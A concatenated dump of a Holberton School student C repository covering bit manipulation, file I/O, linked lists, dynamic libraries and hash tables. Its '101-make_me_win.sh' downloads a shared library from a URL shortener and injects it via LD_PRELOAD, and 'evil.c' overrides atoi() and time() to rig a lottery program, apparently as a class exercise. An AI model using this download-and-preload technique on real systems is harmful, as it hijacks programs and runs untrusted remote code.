/0x14-bit_manipulation/3-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | unsigned long int n; 12 | 13 | n = 1024; 14 | set_bit(&n, 5); 15 | printf("%lu\n", n); 16 | n = 0; 17 | set_bit(&n, 10); 18 | printf("%lu\n", n); 19 | n = 98; 20 | set_bit(&n, 0); 21 | printf("%lu\n", n); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/3-set_bit.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * set_bit - turn a bit on 5 | * @n: a pointer to the integer to operate on 6 | * @index: the index of the bit to turn on 7 | * 8 | * Return: -1 if n is NULL or the index is invalid, otherwise 1 9 | */ 10 | int set_bit(unsigned long int *n, unsigned int index) 11 | { 12 | if (!n || index >= sizeof(*n) * 8) 13 | return (-1); 14 | *n |= 1 << index; 15 | return (1); 16 | } 17 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/4-clear_bit.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * clear_bit - turn a bit off 5 | * @n:a pointer to the integer to operate on 6 | * @index: the index of the bit to turn on 7 | * 8 | * Return: -1 if n is NULL or the index is invalid, otherwise 1 9 | */ 10 | int clear_bit(unsigned long int *n, unsigned int index) 11 | { 12 | if (!n || index >= sizeof(*n) * 8) 13 | return (-1); 14 | *n &= ~(1 << index); 15 | return (1); 16 | } 17 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/4-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | unsigned long int n; 12 | 13 | n = 1024; 14 | clear_bit(&n, 10); 15 | printf("%lu\n", n); 16 | n = 0; 17 | clear_bit(&n, 10); 18 | printf("%lu\n", n); 19 | n = 98; 20 | clear_bit(&n, 1); 21 | printf("%lu\n", n); 22 | return (0); 23 | } 24 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/5-flip_bits.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * flip_bits - count the unique bits in two values 5 | * @n: the first integer 6 | * @m: the second integer 7 | * 8 | * Return: the number of bits that differ between n and m 9 | */ 10 | unsigned int flip_bits(unsigned long int n, unsigned long int m) 11 | { 12 | n ^= m; 13 | m = 0; 14 | while (n) 15 | { 16 | m += 1 & n; 17 | n >>= 1; 18 | } 19 | return (m); 20 | } 21 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/5-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "holberton.h" 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always 0. 8 | */ 9 | int main(void) 10 | { 11 | unsigned int n; 12 | 13 | n = flip_bits(1024, 1); 14 | printf("%u\n", n); 15 | n = flip_bits(402, 98); 16 | printf("%u\n", n); 17 | n = flip_bits(1024, 3); 18 | printf("%u\n", n); 19 | n = flip_bits(1024, 1025); 20 | printf("%u\n", n); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x14-bit_manipulation/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x14-bit_manipulation/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | 7 | int _putchar(char c); 8 | unsigned int binary_to_uint(const char *b); 9 | void print_binary(unsigned long int n); 10 | int get_bit(unsigned long int n, unsigned int index); 11 | int set_bit(unsigned long int *n, unsigned int index); 12 | int clear_bit(unsigned long int *n, unsigned int index); 13 | unsigned int flip_bits(unsigned long int n, unsigned long int m); 14 | int get_endianness(void); 15 | 16 | #endif /* HOLBERTON_H */ 17 | -------------------------------------------------------------------------------- /0x15-file_io/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't a README or C source code 2 | 3 | * 4 | !.gitignore 5 | !README.md 6 | !*.c 7 | !*.h 8 | -------------------------------------------------------------------------------- /0x15-file_io/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "holberton.h" 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(int ac, char **av) 11 | { 12 | ssize_t n; 13 | 14 | if (ac != 2) 15 | { 16 | dprintf(2, "Usage: %s filename\n", av[0]); 17 | exit(1); 18 | } 19 | n = read_textfile(av[1], 114); 20 | printf("\n(printed chars: %li)\n", n); 21 | n = read_textfile(av[1], 1024); 22 | printf("\n(printed chars: %li)\n", n); 23 | return (0); 24 | } 25 | -------------------------------------------------------------------------------- /0x15-file_io/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "holberton.h" 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(int ac, char **av) 11 | { 12 | int res; 13 | 14 | if (ac != 3) 15 | { 16 | dprintf(2, "Usage: %s filename text\n", av[0]); 17 | exit(1); 18 | } 19 | res = create_file(av[1], av[2]); 20 | printf("-> %i)\n", res); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x15-file_io/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "holberton.h" 4 | 5 | /** 6 | * main - check the code for Holberton School students. 7 | * 8 | * Return: Always 0. 9 | */ 10 | int main(int ac, char **av) 11 | { 12 | int res; 13 | 14 | if (ac != 3) 15 | { 16 | dprintf(2, "Usage: %s filename text\n", av[0]); 17 | exit(1); 18 | } 19 | res = append_text_to_file(av[1], av[2]); 20 | printf("-> %i)\n", res); 21 | return (0); 22 | } 23 | -------------------------------------------------------------------------------- /0x15-file_io/_putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } -------------------------------------------------------------------------------- /0x15-file_io/holberton.h: -------------------------------------------------------------------------------- 1 | #ifndef HOLBERTON_H 2 | #define HOLBERTON_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | int _putchar(char c); 10 | ssize_t read_textfile(const char *filename, size_t letters); 11 | int create_file(const char *filename, char *text_content); 12 | int append_text_to_file(const char *filename, char *text_content); 13 | 14 | #endif /* HOLBERTON_H */ 15 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't a README or C source code 2 | 3 | * 4 | !.gitignore 5 | !AUTHORS 6 | !README.md 7 | !*.c 8 | !*.h 9 | !*.py 10 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/0-print_dlistint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * print_dlistint - print a doubly-linked list 5 | * @h: pointer to the head of the list 6 | * 7 | * Return: list length 8 | */ 9 | size_t print_dlistint(const dlistint_t *h) 10 | { 11 | size_t len = 0; 12 | 13 | for ( ; h; h = h->next) 14 | { 15 | printf("%d\n", h->n); 16 | ++len; 17 | } 18 | return (len); 19 | } 20 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/1-dlistint_len.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * dlistint_len - get the length of a double-linked list 5 | * @h: pointer to the head of the list 6 | * 7 | * Return: list length 8 | */ 9 | size_t dlistint_len(const dlistint_t *h) 10 | { 11 | size_t len = 0; 12 | 13 | for ( ; h; h = h->next) 14 | ++len; 15 | 16 | return (len); 17 | } 18 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/102-palindromes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | products = (n * m for n in range(999, 99, -1) for m in range(n, 99, -1)) 4 | 5 | print(sorted(filter(lambda n: str(n) == str(n)[::-1], products))[-1]) 6 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/102-result: -------------------------------------------------------------------------------- 1 | 906609 -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/2-add_dnodeint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * add_dnodeint - add a node at the beginning of a doubly-linked list 5 | * @head: pointer to a pointer to the beginning of a doubly-linked list 6 | * @n: the data to add 7 | * 8 | * Return: If memory allocation fails or head is NULL, return NULL. 9 | * Otherwise, return a pointer to the new node. 10 | */ 11 | dlistint_t *add_dnodeint(dlistint_t **head, const int n) 12 | { 13 | dlistint_t *new = NULL; 14 | 15 | if (head) 16 | { 17 | new = malloc(sizeof(*new)); 18 | if (new) 19 | { 20 | new->n = n; 21 | new->prev = NULL; 22 | new->next = *head; 23 | 24 | if (*head) 25 | (*head)->prev = new; 26 | 27 | *head = new; 28 | } 29 | } 30 | return (new); 31 | } 32 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/2-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always EXIT_SUCCESS. 10 | */ 11 | int main(void) 12 | { 13 | dlistint_t *head; 14 | 15 | head = NULL; 16 | add_dnodeint(&head, 0); 17 | add_dnodeint(&head, 1); 18 | add_dnodeint(&head, 2); 19 | add_dnodeint(&head, 3); 20 | add_dnodeint(&head, 4); 21 | add_dnodeint(&head, 98); 22 | add_dnodeint(&head, 402); 23 | add_dnodeint(&head, 1024); 24 | print_dlistint(head); 25 | return (EXIT_SUCCESS); 26 | } 27 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/3-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always EXIT_SUCCESS. 10 | */ 11 | int main(void) 12 | { 13 | dlistint_t *head; 14 | 15 | head = NULL; 16 | add_dnodeint_end(&head, 0); 17 | add_dnodeint_end(&head, 1); 18 | add_dnodeint_end(&head, 2); 19 | add_dnodeint_end(&head, 3); 20 | add_dnodeint_end(&head, 4); 21 | add_dnodeint_end(&head, 98); 22 | add_dnodeint_end(&head, 402); 23 | add_dnodeint_end(&head, 1024); 24 | print_dlistint(head); 25 | return (EXIT_SUCCESS); 26 | } 27 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/4-free_dlistint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * free_dlistint - free a doubly-linked list 5 | * @head: pointer to the beginning of the list 6 | */ 7 | void free_dlistint(dlistint_t *head) 8 | { 9 | if (head) 10 | { 11 | free_dlistint(head->next); 12 | free(head); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/4-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "lists.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always EXIT_SUCCESS. 10 | */ 11 | int main(void) 12 | { 13 | dlistint_t *head; 14 | 15 | head = NULL; 16 | add_dnodeint_end(&head, 0); 17 | add_dnodeint_end(&head, 1); 18 | add_dnodeint_end(&head, 2); 19 | add_dnodeint_end(&head, 3); 20 | add_dnodeint_end(&head, 4); 21 | add_dnodeint_end(&head, 98); 22 | add_dnodeint_end(&head, 402); 23 | add_dnodeint_end(&head, 1024); 24 | print_dlistint(head); 25 | free_dlistint(head); 26 | head = NULL; 27 | return (EXIT_SUCCESS); 28 | } 29 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/5-get_dnodeint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * get_dnodeint_at_index - get a node from a doubly-linked list 5 | * @head: pointer to the beginning of the list 6 | * @index: the index of the desired node 7 | * 8 | * Return: If the requested node does not exist, return NULL. 9 | * Otherwise, return a pointer to the requested node. 10 | */ 11 | dlistint_t *get_dnodeint_at_index(dlistint_t *head, unsigned int index) 12 | { 13 | if (index && head) 14 | return (get_dnodeint_at_index(head->next, index - 1)); 15 | 16 | return (head); 17 | } 18 | -------------------------------------------------------------------------------- /0x17-doubly_linked_lists/6-sum_dlistint.c: -------------------------------------------------------------------------------- 1 | #include "lists.h" 2 | 3 | /** 4 | * sum_dlistint - sum all items in a doubly-linked list 5 | * @head: pointer to the beginning of the list 6 | * 7 | * Return: the sum of all items in the list 8 | */ 9 | int sum_dlistint(dlistint_t *head) 10 | { 11 | int sum = 0; 12 | 13 | for ( ; head; head = head->next) 14 | sum += head->n; 15 | 16 | return (sum); 17 | } 18 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore all files that aren't a README or C source code 2 | 3 | * 4 | !.gitignore 5 | !AUTHORS 6 | !README.md 7 | !*.c 8 | !*.h 9 | !*.py 10 | !*.sh 11 | !*.so 12 | !*.so.tar.gz 13 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/0-main.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | #include 3 | 4 | /** 5 | * main - check the code for Holberton School students. 6 | * 7 | * Return: Always EXIT_SUCCESS. 8 | */ 9 | int main(void) 10 | { 11 | printf("%d\n", _strlen("Holberton")); 12 | return (EXIT_SUCCESS); 13 | } 14 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/1-create_dynamic_lib.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | gcc -fPIC -shared -Wall -Werror -Wextra -pedantic -o "lib${1:-all}.so" *.c 3 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/100-operations.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p5kd5o/holbertonschool-low_level_programming/124f1060b82e00196337e369a38b1331a89dc137/0x18-dynamic_libraries/100-operations.so -------------------------------------------------------------------------------- /0x18-dynamic_libraries/100-tests.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import random 3 | import ctypes 4 | 5 | cops = ctypes.CDLL('./100-operations.so') 6 | a = random.randint(-111, 111) 7 | b = random.randint(-111, 111) 8 | print("{} + {} = {}".format(a, b, cops.add(a, b))) 9 | print("{} - {} = {}".format(a, b, cops.sub(a, b))) 10 | print("{} x {} = {}".format(a, b, cops.mul(a, b))) 11 | print("{} / {} = {}".format(a, b, cops.div(a, b))) 12 | print("{} % {} = {}".format(a, b, cops.mod(a, b))) 13 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/101-make_me_win.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | export LD_PRELOAD="$(mktemp -d)/libevil.so${LD_PRELOAD:+:${LD_PRELOAD}}" 3 | LD_PRELOAD="" python3 - "${LD_PRELOAD%%/libevil.so*}/libevil.so" <<<'__import__("shutil").copyfileobj(__import__("urllib.request").request.urlopen("https://tinyurl.com/cr4ckm3"), open(__import__("sys").argv[1], "wb"))' 4 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/abs.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _abs - compute the absolute value of a number 5 | * @n: The value to operate on 6 | * 7 | * Return: The absolute value of i 8 | */ 9 | int _abs(int n) 10 | { 11 | if (n >= 0) 12 | return (n); 13 | return (-n); 14 | } 15 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/evil.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | /** 6 | * atoi - atoi override 7 | * @nptr: string to convert 8 | * 9 | * Return: winning numbers at 98 seconds 10 | */ 11 | int atoi(const char *nptr __attribute__((unused))) 12 | { 13 | static int i; 14 | 15 | switch (i++) 16 | { 17 | case 0: 18 | return (68); 19 | case 1: 20 | return (1); 21 | case 2: 22 | return (19); 23 | case 3: 24 | return (38); 25 | case 4: 26 | return (7); 27 | case 5: 28 | return (2); 29 | } 30 | return (0); 31 | } 32 | 33 | 34 | /** 35 | * time - time override 36 | * @tloc: time structure 37 | * 38 | * Return: Always 98 39 | */ 40 | time_t time(time_t *tloc __attribute__((unused))) 41 | { 42 | return 98; 43 | } 44 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/isalpha.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _isalpha - checks if the character is alphabetic 5 | * @c: character to check 6 | * 7 | * Return: 1 if c is an alphabetic character, otherwise 0 8 | */ 9 | int _isalpha(int c) 10 | { 11 | return ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z')); 12 | } 13 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/isdigit.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _isdigit - check if a character is digit 5 | * @c: character to check 6 | * Return: 1 if c is a digit, otherwise 0 7 | */ 8 | int _isdigit(int c) 9 | { 10 | return (c >= '0' && c <= '9'); 11 | } 12 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/islower.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _islower - check if character is uppercase 5 | * @c: character to check 6 | * 7 | * Return: 1 if c is lowercase, 0 otherwise 8 | */ 9 | int _islower(int c) 10 | { 11 | return (c >= 'a' && c <= 'z'); 12 | } 13 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/isupper.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _isupper - check if character is uppercase 5 | * @c: character to check 6 | * 7 | * Return: 1 if c is uppercase, 0 otherwise 8 | */ 9 | int _isupper(int c) 10 | { 11 | return (c >= 'A' && c <= 'Z'); 12 | } 13 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/libevil.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p5kd5o/holbertonschool-low_level_programming/124f1060b82e00196337e369a38b1331a89dc137/0x18-dynamic_libraries/libevil.so -------------------------------------------------------------------------------- /0x18-dynamic_libraries/libevil.so.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p5kd5o/holbertonschool-low_level_programming/124f1060b82e00196337e369a38b1331a89dc137/0x18-dynamic_libraries/libevil.so.tar.gz -------------------------------------------------------------------------------- /0x18-dynamic_libraries/libholberton.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p5kd5o/holbertonschool-low_level_programming/124f1060b82e00196337e369a38b1331a89dc137/0x18-dynamic_libraries/libholberton.so -------------------------------------------------------------------------------- /0x18-dynamic_libraries/memcpy.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _memcpy - copy a memory area 5 | * @dest: a pointer to the start of the target area 6 | * @src: a pointer to the start of the source area 7 | * @n: the number of bytes to copy 8 | * 9 | * Description: This function copies n bytes from the memory area at src 10 | * to the memory area at dest. These memory areas must not overlap. 11 | * 12 | * Return: a pointer to dest 13 | */ 14 | char *_memcpy(char *dest, char *src, unsigned int n) 15 | { 16 | char *pos = dest; 17 | 18 | while (n--) 19 | *pos++ = *src++; 20 | 21 | return (dest); 22 | } 23 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/memset.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _memset - fill memory with a constant byte 5 | * @s: a pointer to a memory area 6 | * @b: the byte to write to memory 7 | * @n: the number of bytes to write 8 | * 9 | * Return: a pointer to the memory area s 10 | */ 11 | char *_memset(char *s, char b, unsigned int n) 12 | { 13 | unsigned int i = 0; 14 | 15 | while (i < n) 16 | s[i++] = b; 17 | 18 | return (s); 19 | } 20 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/operations.h: -------------------------------------------------------------------------------- 1 | #ifndef OPERATIONS_H 2 | #define OPERATIONS_H 3 | 4 | int add(int a, int b); 5 | int mul(int a, int b); 6 | int sub(int a, int b); 7 | int div(int a, int b); 8 | int mod(int a, int b); 9 | 10 | #endif /* OPERATIONS_H */ 11 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/putchar.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | /** 4 | * _putchar - writes the character c to stdout 5 | * @c: The character to print 6 | * 7 | * Return: On success 1. 8 | * On error, -1 is returned, and errno is set appropriately. 9 | */ 10 | int _putchar(char c) 11 | { 12 | return (write(1, &c, 1)); 13 | } 14 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/puts.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _puts - print a string, followed by a new line 5 | * @s: the string to print 6 | * 7 | * Return: void 8 | */ 9 | void _puts(char *s) 10 | { 11 | while (*s) 12 | _putchar(*s++); 13 | 14 | _putchar('\n'); 15 | } 16 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/strcat.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strcat - concatenate two strings 5 | * @dest: the string to append to 6 | * @src: the string to append 7 | * 8 | * Description: This function appends the string pointed to by src to the 9 | * string pointed to by dest, overwriting the null byte at the end of dest. 10 | * 11 | * Return: Return NULL if either src or dest is NULL. Otherwise, return dest. 12 | */ 13 | char *_strcat(char *dest, char *src) 14 | { 15 | char *dest_end = dest; 16 | int src_len = 0; 17 | 18 | while (*dest_end) 19 | ++dest_end; 20 | 21 | while (src[src_len++]) 22 | ; 23 | 24 | while (src_len--) 25 | dest_end[src_len] = src[src_len]; 26 | 27 | return (dest); 28 | } 29 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/strchr.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strchr - locate character in string 5 | * @s: a pointer to the string to search 6 | * @c: the character to search for 7 | * 8 | * Return: If a match is found, return a pointer to it. 9 | * Otherwise, return NULL. 10 | */ 11 | char *_strchr(char *s, char c) 12 | { 13 | for ( ; *s; ++s) 14 | { 15 | if (*s == c) 16 | return (s); 17 | } 18 | if (*s == c) 19 | return (s); 20 | 21 | return (NULL); 22 | } 23 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/strcmp.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strcmp - compare two strings 5 | * @s1: a string to compare 6 | * @s2: the other string to compare 7 | * 8 | * Description: This functions compares two strings pointed to by s1 and s2. 9 | * 10 | * Return: 0 if s1 matches s2, 11 | * otherwise an integer less than 0 if s1 is less than s2, 12 | * otherwise an integer greater than 0 if s1 is greater than s2. 13 | * 14 | */ 15 | int _strcmp(char *s1, char *s2) 16 | { 17 | for (; *s1 && *s2; ++s1, ++s2) 18 | { 19 | if (*s1 != *s2) 20 | return (*s1 - *s2); 21 | } 22 | if (*s1) 23 | return (1); 24 | if (*s2) 25 | return (-1); 26 | 27 | return (0); 28 | } 29 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/strcpy.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strcpy - copy a string (including the terminating null-byte) 5 | * 6 | * @dest: pointer the destination buffer 7 | * @src: pointer to the string to copy 8 | * 9 | * Return: dest 10 | */ 11 | char *_strcpy(char *dest, char *src) 12 | { 13 | int len = 0; 14 | 15 | while (src[len++]) 16 | ; 17 | 18 | while (len--) 19 | dest[len] = src[len]; 20 | 21 | return (dest); 22 | } 23 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/strlen.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strlen - calculate the length of a string 5 | * @s: the string to measure 6 | * 7 | * Return: the string length 8 | */ 9 | int _strlen(char *s) 10 | { 11 | int len = 0; 12 | 13 | while (*s++) 14 | ++len; 15 | 16 | return (len); 17 | } 18 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/strncmp.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strncmp - compare two strings 5 | * @s1: a string to compare 6 | * @s2: the other string to compare 7 | * @n: the max number of bytes to compare 8 | * Return: 0 if s1 matches s2, 9 | * otherwise an integer less than 0 if s1 is less than s2, 10 | * otherwise an integer greater than 0 if s1 is greater than s2. 11 | */ 12 | int _strncmp(char *s1, char *s2, int n) 13 | { 14 | for (; n && *s1 && *s2; --n, ++s1, ++s2) 15 | { 16 | if (*s1 != *s2) 17 | return (*s1 - *s2); 18 | } 19 | 20 | if (n) 21 | { 22 | if (*s1) 23 | return (1); 24 | if (*s2) 25 | return (-1); 26 | } 27 | 28 | return (0); 29 | } 30 | -------------------------------------------------------------------------------- /0x18-dynamic_libraries/strpbrk.c: -------------------------------------------------------------------------------- 1 | #include "holberton.h" 2 | 3 | /** 4 | * _strpbrk - search a string for any of a set of bytes 5 | * @s: the string to search 6 | * @accept: the byte(s) to match 7 | * 8 | * Return: pointer to the byte in s that matches one of the bytes in 9 | * accept, or NULL if no such byte is found. 10 | */ 11 | char *_strpbrk(char *s, char *accept) 12 | { 13 | char *accept_pos; 14 | 15 | for ( ; *s; ++s) 16 | { 17 | for (accept_pos = accept; *accept_pos; ++accept_pos) 18 | { 19 | if (*s == *accept_pos) 20 | return (s); 21 | } 22 | } 23 | return (NULL); 24 | } 25 | -------------------------------------------------------------------------------- /0x1A-hash_tables/.gitignore: -------------------------------------------------------------------------------- 1 | # .gitignore: whitelist for untracked files - see gitignore(5) 2 | 3 | * 4 | !.gitignore 5 | !AUTHORS 6 | !README.md 7 | !*.c 8 | !*.h 9 | -------------------------------------------------------------------------------- /0x1A-hash_tables/0-hash_table_create.c: -------------------------------------------------------------------------------- 1 | #include "hash_tables.h" 2 | #include 3 | 4 | /** 5 | * hash_table_create - create a hash table 6 | * @size: the desired size of the new hash table 7 | * 8 | * Return: a pointer to the newly created hash table 9 | */ 10 | hash_table_t *hash_table_create(unsigned long int size) 11 | { 12 | hash_table_t *ht = malloc(sizeof(*ht)); 13 | 14 | if (ht) 15 | { 16 | ht->array = calloc(size, sizeof(*ht->array)); 17 | if (ht->array) 18 | { 19 | ht->size = size; 20 | return (ht); 21 | } 22 | free(ht); 23 | } 24 | return (NULL); 25 | } 26 | -------------------------------------------------------------------------------- /0x1A-hash_tables/0-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "hash_tables.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always EXIT_SUCCESS. 10 | */ 11 | int main(void) 12 | { 13 | hash_table_t *ht; 14 | 15 | ht = hash_table_create(1024); 16 | printf("%p\n", (void *)ht); 17 | return (EXIT_SUCCESS); 18 | } 19 | -------------------------------------------------------------------------------- /0x1A-hash_tables/1-djb2.c: -------------------------------------------------------------------------------- 1 | #include "hash_tables.h" 2 | 3 | /** 4 | * hash_djb2 - compute a hash using the djb2 algorithm 5 | * @str: a pointer to a string to hash 6 | * 7 | * Return: the dbj2 hash of str 8 | */ 9 | unsigned long int hash_djb2(const unsigned char *str) 10 | { 11 | unsigned long int hash = 5381; 12 | unsigned int c = '\0'; 13 | 14 | while ((c = *str++)) 15 | hash += (hash << 5) + c; 16 | 17 | return (hash); 18 | } 19 | -------------------------------------------------------------------------------- /0x1A-hash_tables/1-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "hash_tables.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always EXIT_SUCCESS. 10 | */ 11 | int main(void) 12 | { 13 | char *s; 14 | 15 | s = "cisfun"; 16 | printf("%lu\n", hash_djb2((unsigned char *)s)); 17 | s = "Don't forget to tweet today"; 18 | printf("%lu\n", hash_djb2((unsigned char *)s)); 19 | s = "98"; 20 | printf("%lu\n", hash_djb2((unsigned char *)s)); 21 | return (EXIT_SUCCESS); 22 | } 23 | -------------------------------------------------------------------------------- /0x1A-hash_tables/2-key_index.c: -------------------------------------------------------------------------------- 1 | #include "hash_tables.h" 2 | 3 | /** 4 | * key_index - get the hash table index mapped to by a given key 5 | * @key: the key to hash 6 | * @size: the hash table size 7 | * 8 | * Return: the index mapped to by key 9 | */ 10 | unsigned long int key_index(const unsigned char *key, unsigned long int size) 11 | { 12 | return (hash_djb2(key) % size); 13 | } 14 | -------------------------------------------------------------------------------- /0x1A-hash_tables/3-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "hash_tables.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always EXIT_SUCCESS. 10 | */ 11 | int main(void) 12 | { 13 | hash_table_t *ht; 14 | 15 | ht = hash_table_create(1024); 16 | hash_table_set(ht, "betty", "holberton"); 17 | return (EXIT_SUCCESS); 18 | } 19 | -------------------------------------------------------------------------------- /0x1A-hash_tables/5-main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "hash_tables.h" 5 | 6 | /** 7 | * main - check the code for Holberton School students. 8 | * 9 | * Return: Always EXIT_SUCCESS. 10 | */ 11 | int main(void) 12 | { 13 | hash_table_t *ht; 14 | 15 | ht = hash_table_create(1024); 16 | hash_table_print(ht); 17 | hash_table_set(ht, "c", "fun"); 18 | hash_table_set(ht, "python", "awesome"); 19 | 